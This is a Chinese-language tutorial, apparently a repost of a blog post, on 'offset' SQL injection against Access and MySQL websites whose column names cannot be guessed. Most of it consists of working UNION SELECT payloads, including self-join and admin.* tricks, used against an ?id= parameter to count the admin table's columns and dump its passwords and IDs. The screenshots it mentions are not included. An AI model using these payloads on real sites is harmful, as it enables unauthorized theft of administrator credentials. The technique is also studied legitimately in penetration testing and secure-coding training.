应用场景
access、mysql数据库的网站存在注入,但跑不出字段名(列名)。
偏移注入步骤
- 1.判断注入点
- 2.order by 判断当前表的列数
(该判断出来的列数可能等于或小于该表,在于代码查询语法有没有写死) - 3.联合查询猜表名
- 4.获取目标表的列数
(union select 1,2,3,...,* from TABLE) - 5.开始偏移注入(两种方法)
- (1)传统移位(需要一定运气,可以多次偏移):
union select 1,2,3,...,* from TABLE as a inner join TABLE as b on a.id=b.id
- (2)新手法(成功率比第一种高,但也有瓶颈):
union select 1,2,3,admin.*,8 from TABLE
应用条件
两种手法均需要存在注入的当前表的列数 大于 目标表的列数,越大成功率越高。
第一种手法:为了保证成功率,最好是目标表列数的2倍。另外注意注入过程中隐性显位(查看源代码)。
第二种手法:页面显位至少存在连续的 2~3位连续的数字(如果有隐性显位也算),也不一定,具体问题具体对待。
测试过程
以下测试前面3步不作记录。
第一种方式
页面显位
隐性显位
判断目标admin表的列数
通过 * 泛测试
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
到16的时候页面正常显位(和22的时候一样)
所以,admin的列数为 22-16=6
第一种偏移注入:
由上得知admin列名为6,进行偏移注入时也得偏移一个admin列数,及16-6=10
代码为 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
注释:
admin as a inner join admin as b on a.id=b.id 这句话的意思是将 admin表 标记为 a 也标记为 b,这样a、b两个相同的表的 id 列参数相等。inner join ... on 返回关键行。
这样就显位得到日期,隐性显位还有密码。
但没有账户名,可以通过增加 a.id、b.id 字段让排序重组,实现同一个地方爆出不同信息。
执行 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
也可进行二次偏移
执行 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
二次移位再减去一个 admin表的列数。这里加了 a.id、b.id、c.id 字段,如果不加也可以执行,如果没爆出目标数据就加上进行打乱偏移字段重新查询。
第二种方式
前面判断出 admin 列数为 6 列,且由上可知,显位数字为 3,9,13,15(包括隐性显位,同上)
所以我们通过 在显位处 13 放置 admin.* (查询admin表的所有内容)
执行 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,19,20,21,22 from admin
这里 admin.*
占了6个字段(即admin表的字段数)。
直接爆出密码和id号
同样依次替换其他几个显位数字的位置,但仍不能爆出账号名,所以此处有点鸡肋。但是如果显位数字连续,且有多个,注入时就不用传统手工方法去猜列名。
如下另外一个测试站点,显位连续 2、3、4,就可以:
第二种的原理
为了方便理解,直接通过mysql查询截图展示。mysql 在跨表查询中,可以把目标中的字段在存在注入的当前表中显位出来。
end!
原文地址:https://www.cnblogs.com/sstfy/p/10351813.html